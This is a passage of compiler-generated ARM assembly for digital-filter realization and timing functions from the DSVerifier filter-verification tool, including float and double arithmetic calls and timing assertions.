str r2, [r3] @ float
ldr r3, [fp, #-8]
add r3, r3, #1
str r3, [fp, #-8]
.L759:
ldr r2, [fp, #-8]
ldr r3, [fp, #4]
cmp r2, r3
blt .L760
ldr r3, [fp, #-32]
ldr r3, [r3] @ float
ldr r1, [fp, #-36] @ float
mov r0, r3
bl __aeabi_fadd
mov r3, r0
mov r2, r3
ldr r3, [fp, #-32]
str r2, [r3] @ float
ldr r3, [fp, #-32]
ldr r2, [r3] @ float
ldr r3, [fp, #-40]
ldr r3, [r3] @ float
mov r1, r3
mov r0, r2
bl __aeabi_fdiv
mov r3, r0
mov r2, r3
ldr r3, [fp, #-32]
str r2, [r3] @ float
ldr r3, [fp, #-32]
str r3, [fp, #-20]
mov r3, #0
str r3, [fp, #-12]
b .L761
.L762:
ldr r3, [fp, #-24]
add r2, r3, #4
str r2, [fp, #-24]
ldr r0, [r3] @ float
ldr r3, [fp, #-20]
add r2, r3, #4
str r2, [fp, #-20]
ldr r3, [r3] @ float
mov r1, r3
bl __aeabi_fmul
mov r3, r0
mov r1, r3
ldr r0, [fp, #-16] @ float
bl __aeabi_fadd
mov r3, r0
str r3, [fp, #-16] @ float
ldr r3, [fp, #-12]
add r3, r3, #1
str r3, [fp, #-12]
.L761:
ldr r2, [fp, #-12]
ldr r3, [fp, #8]
cmp r2, r3
blt .L762
ldr r3, [fp, #-16] @ float
mov r0, r3
sub sp, fp, #4
@ sp needed
pop {fp, pc}
.size float_direct_form_2, .-float_direct_form_2
.align 2
.global float_transposed_direct_form_2
.syntax unified
.arm
.fpu softvfp
.type float_transposed_direct_form_2, %function
float_transposed_direct_form_2:
@ args = 8, pretend = 0, frame = 40
@ frame_needed = 1, uses_anonymous_args = 0
push {r4, fp, lr}
add fp, sp, #8
sub sp, sp, #44
str r0, [fp, #-40]
str r1, [fp, #-44] @ float
str r2, [fp, #-48]
str r3, [fp, #-52]
mov r3, #0
str r3, [fp, #-20] @ float
ldr r3, [fp, #-48]
add r3, r3, #4
str r3, [fp, #-32]
ldr r3, [fp, #-52]
str r3, [fp, #-28]
ldr r2, [fp, #8]
ldr r3, [fp, #4]
cmp r2, r3
movge r3, r2
movlt r3, r3
str r3, [fp, #-16]
ldr r3, [fp, #-28]
add r2, r3, #4
str r2, [fp, #-28]
ldr r3, [r3] @ float
ldr r1, [fp, #-44] @ float
mov r0, r3
bl __aeabi_fmul
mov r3, r0
mov r2, r3
ldr r3, [fp, #-40]
ldr r3, [r3] @ float
mov r1, r3
mov r0, r2
bl __aeabi_fadd
mov r3, r0
str r3, [fp, #-20] @ float
ldr r3, [fp, #-48]
ldr r3, [r3] @ float
mov r1, r3
ldr r0, [fp, #-20] @ float
bl __aeabi_fdiv
mov r3, r0
str r3, [fp, #-20] @ float
mov r3, #0
str r3, [fp, #-24]
b .L765
.L768:
ldr r3, [fp, #-24]
add r3, r3, #1
lsl r3, r3, #2
ldr r2, [fp, #-40]
add r2, r2, r3
ldr r3, [fp, #-24]
lsl r3, r3, #2
ldr r1, [fp, #-40]
add r3, r1, r3
ldr r2, [r2] @ float
str r2, [r3] @ float
ldr r3, [fp, #4]
sub r3, r3, #1
ldr r2, [fp, #-24]
cmp r2, r3
bge .L766
ldr r3, [fp, #-32]
add r2, r3, #4
str r2, [fp, #-32]
ldr r3, [r3] @ float
ldr r1, [fp, #-20] @ float
mov r0, r3
bl __aeabi_fmul
mov r3, r0
mov r1, r3
ldr r3, [fp, #-24]
lsl r3, r3, #2
ldr r2, [fp, #-40]
add r3, r2, r3
ldr r0, [r3] @ float
ldr r3, [fp, #-24]
lsl r3, r3, #2
ldr r2, [fp, #-40]
add r4, r2, r3
bl __aeabi_fsub
mov r3, r0
str r3, [r4] @ float
.L766:
ldr r3, [fp, #8]
sub r3, r3, #1
ldr r2, [fp, #-24]
cmp r2, r3
bge .L767
ldr r3, [fp, #-28]
add r2, r3, #4
str r2, [fp, #-28]
ldr r3, [r3] @ float
ldr r1, [fp, #-44] @ float
mov r0, r3
bl __aeabi_fmul
mov r3, r0
mov r0, r3
ldr r3, [fp, #-24]
lsl r3, r3, #2
ldr r2, [fp, #-40]
add r3, r2, r3
ldr r1, [r3] @ float
ldr r3, [fp, #-24]
lsl r3, r3, #2
ldr r2, [fp, #-40]
add r4, r2, r3
bl __aeabi_fadd
mov r3, r0
str r3, [r4] @ float
.L767:
ldr r3, [fp, #-24]
add r3, r3, #1
str r3, [fp, #-24]
.L765:
ldr r3, [fp, #-16]
sub r3, r3, #1
ldr r2, [fp, #-24]
cmp r2, r3
blt .L768
ldr r3, [fp, #-20] @ float
mov r0, r3
sub sp, fp, #8
@ sp needed
pop {r4, fp, pc}
.size float_transposed_direct_form_2, .-float_transposed_direct_form_2
.section .rodata
.align 2
.LC35:
.ascii "/home/yashchopda/Desktop/dsverifier-v2.0.3-esbmc-v4"
.ascii ".0-cbmc-5.6/bmc/core/realizations.h\000"
.align 2
.LC36:
.ascii "(double) timer1 * hw.cycle <= ds.sample_time\000"
.text
.align 2
.global double_direct_form_1_MSP430
.syntax unified
.arm
.fpu softvfp
.type double_direct_form_1_MSP430, %function
double_direct_form_1_MSP430:
@ args = 8, pretend = 0, frame = 56
@ frame_needed = 1, uses_anonymous_args = 0
push {fp, lr}
add fp, sp, #4
sub sp, sp, #56
str r0, [fp, #-48]
str r1, [fp, #-52]
str r2, [fp, #-56]
str r3, [fp, #-60]
mov r3, #0
str r3, [fp, #-40]
mov r2, #0
mov r3, #0
str r2, [fp, #-12]
str r3, [fp, #-8]
ldr r3, [fp, #-56]
add r3, r3, #8
str r3, [fp, #-36]
ldr r3, [fp, #4]
sub r3, r3, #-536870911
lsl r3, r3, #3
ldr r2, [fp, #-48]
add r3, r2, r3
str r3, [fp, #-32]
ldr r3, [fp, #-60]
str r3, [fp, #-28]
ldr r3, [fp, #8]
sub r3, r3, #-536870911
lsl r3, r3, #3
ldr r2, [fp, #-52]
add r3, r2, r3
str r3, [fp, #-24]
ldr r3, [fp, #-40]
add r3, r3, #91
str r3, [fp, #-40]
mov r3, #0
str r3, [fp, #-20]
b .L771
.L772:
ldr r3, [fp, #-28]
add r2, r3, #8
str r2, [fp, #-28]
ldmia r3, {r0-r1}
ldr r3, [fp, #-24]
sub r2, r3, #8
str r2, [fp, #-24]
ldmia r3, {r2-r3}
bl __aeabi_dmul
mov r2, r0
mov r3, r1
sub r1, fp, #12
ldmia r1, {r0-r1}
bl __aeabi_dadd
mov r2, r0
mov r3, r1
str r2, [fp, #-12]
str r3, [fp, #-8]
ldr r3, [fp, #-40]
add r3, r3, #47
str r3, [fp, #-40]
ldr r3, [fp, #-20]
add r3, r3, #1
str r3, [fp, #-20]
.L771:
ldr r2, [fp, #-20]
ldr r3, [fp, #8]
cmp r2, r3
blt .L772
mov r3, #1
str r3, [fp, #-16]
b .L773
.L774:
ldr r3, [fp, #-36]
add r2, r3, #8
str r2, [fp, #-36]
ldmia r3, {r0-r1}
ldr r3, [fp, #-32]
sub r2, r3, #8
str r2, [fp, #-32]
ldmia r3, {r2-r3}
bl __aeabi_dmul
mov r2, r0
mov r3, r1
sub r1, fp, #12
ldmia r1, {r0-r1}
bl __aeabi_dsub
mov r2, r0
mov r3, r1
str r2, [fp, #-12]
str r3, [fp, #-8]
ldr r3, [fp, #-40]
add r3, r3, #57
str r3, [fp, #-40]
ldr r3, [fp, #-16]
add r3, r3, #1
str r3, [fp, #-16]
.L773:
ldr r2, [fp, #-16]
ldr r3, [fp, #4]
cmp r2, r3
blt .L774
ldr r3, [fp, #-40]
add r3, r3, #3
str r3, [fp, #-40]
ldr r0, [fp, #-40]
bl __aeabi_i2d
ldr r3, .L777
add r3, r3, #8
ldmia r3, {r2-r3}
bl __aeabi_dmul
mov r2, r0
mov r3, r1
mov r0, r2
mov r1, r3
ldr r3, .L777+4
add r3, r3, #1616
ldmia r3, {r2-r3}
bl __aeabi_dcmple
mov r3, r0
cmp r3, #0
bne .L775
ldr r3, .L777+8
mov r2, #235
ldr r1, .L777+12
ldr r0, .L777+16
bl __assert_fail
.L775:
sub r3, fp, #12
ldmia r3, {r2-r3}
mov r0, r2
mov r1, r3
sub sp, fp, #4
@ sp needed
pop {fp, pc}
.L778:
.align 2
.L777:
.word hw
.word ds
.word __PRETTY_FUNCTION__.6554
.word .LC35
.word .LC36
.size double_direct_form_1_MSP430, .-double_direct_form_1_MSP430
.align 2
.global double_direct_form_2_MSP430
.syntax unified
.arm
.fpu softvfp
.type double_direct_form_2_MSP430, %function
double_direct_form_2_MSP430:
@ args = 16, pretend = 0, frame = 48
@ frame_needed = 1, uses_anonymous_args = 0
push {r4, r5, fp, lr}
add fp, sp, #12
sub sp, sp, #48
str r0, [fp, #-48]
str r2, [fp, #-60]
str r3, [fp, #-56]
mov r3, #0
str r3, [fp, #-44]
mov r2, #0
mov r3, #0
str r2, [fp, #-20]
str r3, [fp, #-16]
ldr r3, [fp, #4]
add r3, r3, #8
str r3, [fp, #-40]
ldr r3, [fp, #8]
str r3, [fp, #-36]
ldr r3, [fp, #-48]
add r3, r3, #8
str r3, [fp, #-32]
ldr r3, [fp, #-44]
add r3, r3, #71
str r3, [fp, #-44]
mov r3, #1
str r3, [fp, #-24]
b .L780
.L781:
ldr r3, [fp, #-40]
add r2, r3, #8
str r2, [fp, #-40]
ldmia r3, {r0-r1}
ldr r3, [fp, #-32]
add r2, r3, #8
str r2, [fp, #-32]
ldmia r3, {r2-r3}
bl __aeabi_dmul
mov r2, r0
mov r3, r1
mov r4, r2
mov r5, r3
ldr r3, [fp, #-48]
ldmia r3, {r0-r1}
mov r2, r4
mov r3, r5
bl __aeabi_dsub
mov r2, r0
mov r3, r1
ldr r1, [fp, #-48]
stm r1, {r2-r3}
ldr r3, [fp, #-44]
add r3, r3, #54
str r3, [fp, #-44]
ldr r3, [fp, #-24]
add r3, r3, #1
str r3, [fp, #-24]
.L780:
ldr r2, [fp, #-24]
ldr r3, [fp, #12]
cmp r2, r3
blt .L781
ldr r3, [fp, #-48]
ldmia r3, {r0-r1}
sub r3, fp, #60
ldmia r3, {r2-r3}
bl __aeabi_dadd
mov r2, r0
mov r3, r1
ldr r1, [fp, #-48]
stm r1, {r2-r3}
ldr r3, [fp, #-48]
ldmia r3, {r0-r1}
ldr r3, [fp, #4]
ldmia r3, {r2-r3}
bl __aeabi_ddiv
mov r2, r0
mov r3, r1
ldr r1, [fp, #-48]
stm r1, {r2-r3}
ldr r3, [fp, #-48]
str r3, [fp, #-32]
mov r3, #0
str r3, [fp, #-28]
b .L782
.L783:
ldr r3, [fp, #-36]
add r2, r3, #8
str r2, [fp, #-36]
ldmia r3, {r0-r1}
ldr r3, [fp, #-32]
add r2, r3, #8
str r2, [fp, #-32]
ldmia r3, {r2-r3}
bl __aeabi_dmul
mov r2, r0
mov r3, r1
sub r1, fp, #20
ldmia r1, {r0-r1}
bl __aeabi_dadd
mov r2, r0
mov r3, r1
str r2, [fp, #-20]
str r3, [fp, #-16]
ldr r3, [fp, #-44]
add r3, r3, #46
str r3, [fp, #-44]
ldr r3, [fp, #-28]
add r3, r3, #1
str r3, [fp, #-28]
.L782:
ldr r2, [fp, #-28]
ldr r3, [fp, #16]
cmp r2, r3
blt .L783
ldr r3, [fp, #-44]
add r3, r3, #38
str r3, [fp, #-44]
ldr r0, [fp, #-44]
bl __aeabi_i2d
ldr r3, .L786
add r3, r3, #8
ldmia r3, {r2-r3}
bl __aeabi_dmul
mov r2, r0
mov r3, r1
mov r0, r2
mov r1, r3
ldr r3, .L786+4
add r3, r3, #1616
ldmia r3, {r2-r3}
bl __aeabi_dcmple
mov r3, r0
cmp r3, #0
bne .L784
ldr r3, .L786+8
ldr r2, .L786+12
ldr r1, .L786+16
ldr r0, .L786+20
bl __assert_fail
.L784:
sub r3, fp, #20
ldmia r3, {r2-r3}
mov r0, r2
mov r1, r3
sub sp, fp, #12
@ sp needed
pop {r4, r5, fp, pc}
.L787:
.align 2
.L786:
.word hw
.word ds
.word __PRETTY_FUNCTION__.6576
.word 262
.word .LC35
.word .LC36
.size double_direct_form_2_MSP430, .-double_direct_form_2_MSP430
.align 2
.global double_transposed_direct_form_2_MSP430
.syntax unified
.arm
.fpu softvfp
.type double_transposed_direct_form_2_MSP430, %function
double_transposed_direct_form_2_MSP430:
@ args = 16, pretend = 0, frame = 48
@ frame_needed = 1, uses_anonymous_args = 0
push {r4, r6, r7, fp, lr}
add fp, sp, #16
sub sp, sp, #52
str r0, [fp, #-56]
str r2, [fp, #-68]
str r3, [fp, #-64]
mov r3, #0
str r3, [fp, #-48]
mov r2, #0
mov r3, #0
str r2, [fp, #-28]
str r3, [fp, #-24]
ldr r3, [fp, #4]
add r3, r3, #8
str r3, [fp, #-44]
ldr r3, [fp, #8]
str r3, [fp, #-40]
ldr r2, [fp, #16]
ldr r3, [fp, #12]
cmp r2, r3
movge r3, r2
movlt r3, r3
str r3, [fp, #-32]
ldr r3, [fp, #-40]
add r2, r3, #8
str r2, [fp, #-40]
ldmia r3, {r0-r1}
sub r3, fp, #68
ldmia r3, {r2-r3}
bl __aeabi_dmul
mov r2, r0
mov r3, r1
mov r0, r2
mov r1, r3
ldr r3, [fp, #-56]
ldmia r3, {r2-r3}
bl __aeabi_dadd
mov r2, r0
mov r3, r1
str r2, [fp, #-28]
str r3, [fp, #-24]
ldr r3, [fp, #-48]
add r3, r3, #105
str r3, [fp, #-48]
mov r3, #0
str r3, [fp, #-36]
b .L789
.L792:
ldr r3, [fp, #-36]
add r3, r3, #1
lsl r3, r3, #3
ldr r2, [fp, #-56]
add r3, r2, r3
ldr r2, [fp, #-36]
lsl r2, r2, #3
ldr r1, [fp, #-56]
add r1, r1, r2
ldmia r3, {r2-r3}
stm r1, {r2-r3}
ldr r3, [fp, #12]
sub r3, r3, #1
ldr r2, [fp, #-36]
cmp r2, r3
bge .L790
ldr r3, [fp, #-44]
add r2, r3, #8
str r2, [fp, #-44]
ldmia r3, {r0-r1}
sub r3, fp, #28
ldmia r3, {r2-r3}
bl __aeabi_dmul
mov r2, r0
mov r3, r1
mov r6, r2
mov r7, r3
ldr r3, [fp, #-36]
lsl r3, r3, #3
ldr r2, [fp, #-56]
add r3, r2, r3
ldmia r3, {r0-r1}
ldr r3, [fp, #-36]
lsl r3, r3, #3
ldr r2, [fp, #-56]
add r4, r2, r3
mov r2, r6
mov r3, r7
bl __aeabi_dsub
mov r2, r0
mov r3, r1
stm r4, {r2-r3}
ldr r3, [fp, #-48]
add r3, r3, #41
str r3, [fp, #-48]
.L790:
ldr r3, [fp, #16]
sub r3, r3, #1
ldr r2, [fp, #-36]
cmp r2, r3
bge .L791
ldr r3, [fp, #-40]
add r2, r3, #8
str r2, [fp, #-40]
ldmia r3, {r0-r1}
sub r3, fp, #68
ldmia r3, {r2-r3}
bl __aeabi_dmul
mov r2, r0
mov r3, r1
mov r6, r2
mov r7, r3
ldr r3, [fp, #-36]
lsl r3, r3, #3
ldr r2, [fp, #-56]
add r3, r2, r3
ldmia r3, {r2-r3}
ldr r1, [fp, #-36]
lsl r1, r1, #3
ldr r0, [fp, #-56]
add r4, r0, r1
mov r0, r6
mov r1, r7
bl __aeabi_dadd
mov r2, r0
mov r3, r1
stm r4, {r2-r3}
ldr r3, [fp, #-48]
add r3, r3, #38
str r3, [fp, #-48]
.L791:
ldr r3, [fp, #-48]
add r3, r3, #54
str r3, [fp, #-48]
ldr r3, [fp, #-36]
add r3, r3, #1
str r3, [fp, #-36]
.L789:
ldr r3, [fp, #-32]
sub r3, r3, #1
ldr r2, [fp, #-36]
cmp r2, r3
blt .L792
ldr r3, [fp, #-48]
add r3, r3, #7
str r3, [fp, #-48]
ldr r0, [fp, #-48]
bl __aeabi_i2d
ldr r3, .L795
add r3, r3, #8
ldmia r3, {r2-r3}
bl __aeabi_dmul
mov r2, r0
mov r3, r1
mov r0, r2
mov r1, r3
ldr r3, .L795+4
add r3, r3, #1616
ldmia r3, {r2-r3}
bl __aeabi_dcmple
mov r3, r0
cmp r3, #0
bne .L793
ldr r3, .L795+8
ldr r2, .L795+12
ldr r1, .L795+16
ldr r0, .L795+20
bl __assert_fail
.L793:
sub r3, fp, #28
ldmia r3, {r2-r3}
mov r0, r2
mov r1, r3
sub sp, fp, #16
@ sp needed
pop {r4, r6, r7, fp, pc}
.L796:
.align 2
.L795:
.word hw
.word ds
.word __PRETTY_FUNCTION__.6594
.word 291
.word .LC35
.word .LC36
.size double_transposed_direct_form_2_MSP430, .-double_transposed_direct_form_2_MSP430
.align 2
.global generic_timing_double_direct_form_1
.syntax unified
.arm
.fpu softvfp
.type generic_timing_double_direct_form_1, %function
generic_timing_double_direct_form_1:
@ args = 8, pretend = 0, frame = 48
@ frame_needed = 1, uses_anonymous_args = 0
push {fp, lr}
add fp, sp, #4
sub sp, sp, #48
str r0, [fp, #-40]
str r1, [fp, #-44]
str r2, [fp, #-48]
str r3, [fp, #-52]
ldr r3, .L803
ldr r2, [r3, #16]
mov r3, r2
lsl r3, r3, #1
add r3, r3, r2
lsl r3, r3, #1
mov r1, r3
ldr r3, .L803
ldr r2, [r3, #20]
mov r3, r2
lsl r3, r3, #1
add r3, r3, r2
add r2, r1, r3
ldr r3, .L803
ldr r3, [r3, #24]
add r2, r2, r3
ldr r3, .L803
ldr r3, [r3, #28]
add r1, r2, r3
ldr r3, .L803
ldr r2, [r3, #32]
mov r3, r2
lsl r3, r3, #1
add r3, r3, r2
add r1, r1, r3
ldr r3, .L803
ldr r2, [r3, #36]
mov r3, r2
lsl r3, r3, #1
add r3, r3, r2
lsl r3, r3, #2
add r2, r1, r3
ldr r3, .L803+4
ldr r3, [r3]
add r3, r2, r3
ldr r2, .L803+4
str r3, [r2]
mov r2, #0
mov r3, #0
str r2, [fp, #-12]
str r3, [fp, #-8]
ldr r3, [fp, #-48]
add r3, r3, #8
str r3, [fp, #-36]
ldr r3, [fp, #4]
sub r3, r3, #-536870911
lsl r3, r3, #3
ldr r2, [fp, #-40]
add r3, r2, r3
str r3, [fp, #-32]
ldr r3, [fp, #-52]
str r3, [fp, #-28]
ldr r3, [fp, #8]
sub r3, r3, #-536870911
lsl r3, r3, #3
ldr r2, [fp, #-44]
add r3, r2, r3
str r3, [fp, #-24]
ldr r3, .L803
ldr r2, [r3, #36]
ldr r3, .L803
ldr r3, [r3, #40]
add r2, r2, r3
mov r3, r2
lsl r3, r3, #1
add r3, r3, r2
lsl r3, r3, #1
mov r2, r3
ldr r3, .L803
ldr r3, [r3, #44]
add r2, r2, r3
ldr r3, .L803
ldr r3, [r3, #48]
add r2, r2, r3
ldr r3, .L803
ldr r3, [r3, #52]
lsl r3, r3, #1
add r2, r2, r3
ldr r3, .L803
ldr r3, [r3, #56]
lsl r3, r3, #1
add r2, r2, r3
ldr r3, .L803
ldr r3, [r3, #60]
add r2, r2, r3
ldr r3, .L803
ldr r3, [r3, #64]
add r3, r2, r3
lsl r2, r3, #1
ldr r3, .L803
ldr r3, [r3, #68]
add r2, r2, r3
ldr r3, .L803+4
ldr r3, [r3]
add r3, r2, r3
ldr r2, .L803+4
str r3, [r2]
ldr r3, .L803
ldr r3, [r3, #36]
lsl r2, r3, #1
ldr r3, .L803
ldr r3, [r3, #72]
add r2, r2, r3
ldr r3, .L803+4
ldr r3, [r3]
add r3, r2, r3
ldr r2, .L803+4
str r3, [r2]
mov r3, #0
str r3, [fp, #-20]
b .L798
.L799:
ldr r3, .L803
ldr r2, [r3, #40]
mov r3, r2
lsl r3, r3, #2
add r3, r3, r2
lsl r3, r3, #2
mov r1, r3
ldr r3, .L803
ldr r2, [r3, #76]
mov r3, r2
lsl r3, r3, #1
add r3, r3, r2
lsl r3, r3, #3
add r2, r1, r3
ldr r3, .L803
ldr r3, [r3, #44]
lsl r3, r3, #1
add r2, r2, r3
ldr r3, .L803
ldr r3, [r3, #48]
add r2, r2, r3
ldr r3, .L803
ldr r3, [r3, #80]
add r1, r2, r3
ldr r3, .L803
ldr r2, [r3, #36]
mov r3, r2
lsl r3, r3, #2
add r3, r3, r2
lsl r3, r3, #1
add r2, r1, r3
ldr r3, .L803
ldr r3, [r3, #84]
lsl r3, r3, #1
add r2, r2, r3
ldr r3, .L803
ldr r3, [r3, #88]
lsl r3, r3, #1
add r2, r2, r3
ldr r3, .L803
ldr r3, [r3, #68]
add r2, r2, r3
ldr r3, .L803
ldr r3, [r3, #92]
add r2, r2, r3
ldr r3, .L803
ldr r3, [r3, #96]
add r2, r2, r3
ldr r3, .L803
ldr r3, [r3, #68]
add r2, r2, r3
ldr r3, .L803
ldr r3, [r3, #104]
add r2, r2, r3
ldr r3, .L803
ldr r3, [r3, #72]
add r2, r2, r3
ldr r3, .L803+4
ldr r3, [r3]
add r3, r2, r3
ldr r2, .L803+4
str r3, [r2]
ldr r3, [fp, #-28]
add r2, r3, #8
str r2, [fp, #-28]
ldmia r3, {r0-r1}
ldr r3, [fp, #-24]
sub r2, r3, #8
str r2, [fp, #-24]
ldmia r3, {r2-r3}
bl __aeabi_dmul
mov r2, r0
mov r3, r1
sub r1, fp, #12
ldmia r1, {r0-r1}
bl __aeabi_dadd
mov r2, r0
mov r3, r1
str r2, [fp, #-12]
str r3, [fp, #-8]
ldr r3, [fp, #-20]
add r3, r3, #1
str r3, [fp, #-20]
.L798:
ldr r2, [fp, #-20]
ldr r3, [fp, #8]
cmp r2, r3
blt .L799
ldr r3, .L803
ldr r2, [r3, #100]
ldr r3, .L803
ldr r3, [r3, #36]
add r3, r2, r3
lsl r2, r3, #1
ldr r3, .L803
ldr r3, [r3, #72]
add r2, r2, r3
ldr r3, .L803+4
ldr r3, [r3]
add r3, r2, r3
ldr r2, .L803+4
str r3, [r2]
mov r3, #1
str r3, [fp, #-16]
b .L800
.L801:
ldr r3, .L803
ldr r2, [r3, #40]
mov r3, r2
lsl r3, r3, #2
add r3, r3, r2
lsl r3, r3, #1
add r3, r3, r2
lsl r3, r3, #1
mov r1, r3
ldr r3, .L803
ldr r2, [r3, #76]
mov r3, r2
lsl r3, r3, #1
add r3, r3, r2
lsl r3, r3, #3
add r2, r1, r3
ldr r3, .L803
ldr r3, [r3, #44]
lsl r3, r3, #1
add r2, r2, r3
ldr r3, .L803
ldr r3, [r3, #36]
lsl r3, r3, #3
add r2, r2, r3
ldr r3, .L803
ldr r3, [r3, #48]
add r2, r2, r3
ldr r3, .L803
ldr r3, [r3, #84]
lsl r3, r3, #1
add r2, r2, r3
ldr r3, .L803
ldr r3, [r3, #88]
lsl r3, r3, #1
add r2, r2, r3
ldr r3, .L803
ldr r3, [r3, #80]
add r2, r2, r3
ldr r3, .L803
ldr r3, [r3, #68]
add r2, r2, r3
ldr r3, .L803
ldr r3, [r3, #92]
add r2, r2, r3
ldr r3, .L803
ldr r3, [r3, #96]
add r2, r2, r3
ldr r3, .L803
ldr r3, [r3, #68]
add r2, r2, r3
ldr r3, .L803
ldr r3, [r3, #104]
add r2, r2, r3
ldr r3, .L803
ldr r3, [r3, #72]
add r2, r2, r3
ldr r3, .L803+4
ldr r3, [r3]
add r3, r2, r3
ldr r2, .L803+4
str r3, [r2]
ldr r3, [fp, #-36]
add r2, r3, #8
str r2, [fp, #-36]
ldmia r3, {r0-r1}
ldr r3, [fp, #-32]
sub r2, r3, #8
str r2, [fp, #-32]
ldmia r3, {r2-r3}
bl __aeabi_dmul
mov r2, r0
mov r3, r1
sub r1, fp, #12
ldmia r1, {r0-r1}
bl __aeabi_dsub
mov r2, r0
mov r3, r1
str r2, [fp, #-12]
str r3, [fp, #-8]
ldr r3, [fp, #-16]
add r3, r3, #1
str r3, [fp, #-16]
.L800:
ldr r2, [fp, #-16]
ldr r3, [fp, #4]
cmp r2, r3
blt .L801
ldr r3, .L803
ldr r2, [r3, #40]
ldr r3, .L803
ldr r3, [r3, #76]
add r3, r2, r3
lsl r2, r3, #2
ldr r3, .L803
ldr r3, [r3, #68]
add r2, r2, r3
ldr r3, .L803
ldr r3, [r3, #20]
add r2, r2, r3
ldr r3, .L803
ldr r3, [r3, #28]
add r1, r2, r3
ldr r3, .L803
ldr r2, [r3, #32]
mov r3, r2
lsl r3, r3, #1
add r3, r3, r2
add r1, r1, r3
ldr r3, .L803
ldr r2, [r3, #108]
mov r3, r2
lsl r3, r3, #1
add r3, r3, r2
lsl r3, r3, #1
add r2, r1, r3
ldr r3, .L803
ldr r3, [r3, #112]
add r2, r2, r3
ldr r3, .L803+4
ldr r3, [r3]
add r3, r2, r3
ldr r2, .L803+4
str r3, [r2]
sub r3, fp, #12
ldmia r3, {r2-r3}
mov r0, r2
mov r1, r3
sub sp, fp, #4
@ sp needed
pop {fp, pc}
.L804:
.align 2
.L803:
.word hw
.word generic_timer
.size generic_timing_double_direct_form_1, .-generic_timing_double_direct_form_1
.align 2
.global generic_timing_double_direct_form_2
.syntax unified
.arm
.fpu softvfp
.type generic_timing_double_direct_form_2, %function
generic_timing_double_direct_form_2:
@ args = 16, pretend = 0, frame = 48
@ frame_needed = 1, uses_anonymous_args = 0
push {r4, r5, fp, lr}
add fp, sp, #12
sub sp, sp, #48
str r0, [fp, #-48]
str r2, [fp, #-60]
str r3, [fp, #-56]
ldr r3, .L811
ldr r3, [r3, #16]
lsl r1, r3, #3
ldr r3, .L811
ldr r2, [r3, #36]
mov r3, r2
lsl r3, r3, #3
sub r3, r3, r2
lsl r3, r3, #1
add r1, r1, r3
ldr r3, .L811
ldr r2, [r3, #32]
mov r3, r2
lsl r3, r3, #1
add r3, r3, r2
add r1, r1, r3
ldr r3, .L811
ldr r2, [r3, #20]
mov r3, r2
lsl r3, r3, #1
add r3, r3, r2
add r2, r1, r3
ldr r3, .L811
ldr r3, [r3, #24]
add r2, r2, r3
ldr r3, .L811
ldr r3, [r3, #28]
add r2, r2, r3
ldr r3, .L811+4
ldr r3, [r3]
add r3, r2, r3
ldr r2, .L811+4
str r3, [r2]
mov r2, #0
mov r3, #0
str r2, [fp, #-20]
str r3, [fp, #-16]
ldr r3, [fp, #4]
add r3, r3, #8
str r3, [fp, #-40]
ldr r3, [fp, #8]
str r3, [fp, #-36]
ldr r3, [fp, #-48]
add r3, r3, #8
str r3, [fp, #-32]
ldr r3, .L811
ldr r2, [r3, #36]
mov r3, r2
lsl r3, r3, #2
add r3, r3, r2
lsl r3, r3, #1
mov r1, r3
ldr r3, .L811
ldr r2, [r3, #40]
mov r3, r2
lsl r3, r3, #1
add r3, r3, r2
lsl r3, r3, #1
add r2, r1, r3
ldr r3, .L811
ldr r3, [r3, #68]
lsl r3, r3, #1
add r2, r2, r3
ldr r3, .L811+4
ldr r3, [r3]
add r3, r2, r3
ldr r2, .L811+4
str r3, [r2]
ldr r3, .L811
ldr r2, [r3, #100]
ldr r3, .L811
ldr r3, [r3, #36]
add r3, r2, r3
lsl r2, r3, #1
ldr r3, .L811
ldr r3, [r3, #72]
add r2, r2, r3
ldr r3, .L811+4
ldr r3, [r3]
add r3, r2, r3
ldr r2, .L811+4
str r3, [r2]
mov r3, #1
str r3, [fp, #-24]
b .L806
.L807:
ldr r3, [fp, #-40]
add r2, r3, #8
str r2, [fp, #-40]
ldmia r3, {r0-r1}
ldr r3, [fp, #-32]
add r2, r3, #8
str r2, [fp, #-32]
ldmia r3, {r2-r3}
bl __aeabi_dmul
mov r2, r0
mov r3, r1
mov r4, r2
mov r5, r3
ldr r3, [fp, #-48]
ldmia r3, {r0-r1}
mov r2, r4
mov r3, r5
bl __aeabi_dsub
mov r2, r0
mov r3, r1
ldr r1, [fp, #-48]
stm r1, {r2-r3}
ldr r3, .L811
ldr r2, [r3, #40]
mov r3, r2
lsl r3, r3, #1
add r3, r3, r2
lsl r3, r3, #3
sub r2, r3, r2
ldr r3, .L811
ldr r3, [r3, #76]
lsl r3, r3, #5
add r1, r2, r3
ldr r3, .L811
ldr r2, [r3, #36]
mov r3, r2
lsl r3, r3, #3
add r3, r3, r2
add r2, r1, r3
ldr r3, .L811
ldr r3, [r3, #44]
lsl r3, r3, #1
add r1, r2, r3
ldr r3, .L811
ldr r2, [r3, #84]
mov r3, r2
lsl r3, r3, #1
add r3, r3, r2
add r2, r1, r3
ldr r3, .L811
ldr r3, [r3, #88]
lsl r3, r3, #1
add r2, r2, r3
ldr r3, .L811
ldr r3, [r3, #48]
lsl r3, r3, #1
add r2, r2, r3
ldr r3, .L811
ldr r3, [r3, #116]
add r2, r2, r3
ldr r3, .L811
ldr r3, [r3, #68]
add r2, r2, r3
ldr r3, .L811
ldr r3, [r3, #92]
add r2, r2, r3
ldr r3, .L811
ldr r3, [r3, #96]
add r2, r2, r3
ldr r3, .L811
ldr r3, [r3, #104]
add r2, r2, r3
ldr r3, .L811+4
ldr r3, [r3]
add r3, r2, r3
ldr r2, .L811+4
str r3, [r2]
ldr r3, [fp, #-24]
add r3, r3, #1
str r3, [fp, #-24]
.L806:
ldr r2, [fp, #-24]
ldr r3, [fp, #12]
cmp r2, r3
blt .L807
ldr r3, [fp, #-48]
ldmia r3, {r0-r1}
sub r3, fp, #60
ldmia r3, {r2-r3}
bl __aeabi_dadd
mov r2, r0
mov r3, r1
ldr r1, [fp, #-48]
stm r1, {r2-r3}
ldr r3, [fp, #-48]
str r3, [fp, #-32]
ldr r3, .L811
ldr r2, [r3, #40]
mov r3, r2
lsl r3, r3, #1
add r3, r3, r2
lsl r3, r3, #2
add r1, r3, r2
ldr r3, .L811
ldr r2, [r3, #76]
mov r3, r2
lsl r3, r3, #1
add r3, r3, r2
lsl r3, r3, #2
add r1, r1, r3
ldr r3, .L811
ldr r2, [r3, #36]
mov r3, r2
lsl r3, r3, #2
add r3, r3, r2
add r2, r1, r3
ldr r3, .L811
ldr r3, [r3, #116]
add r2, r2, r3
ldr r3, .L811
ldr r3, [r3, #84]
add r2, r2, r3
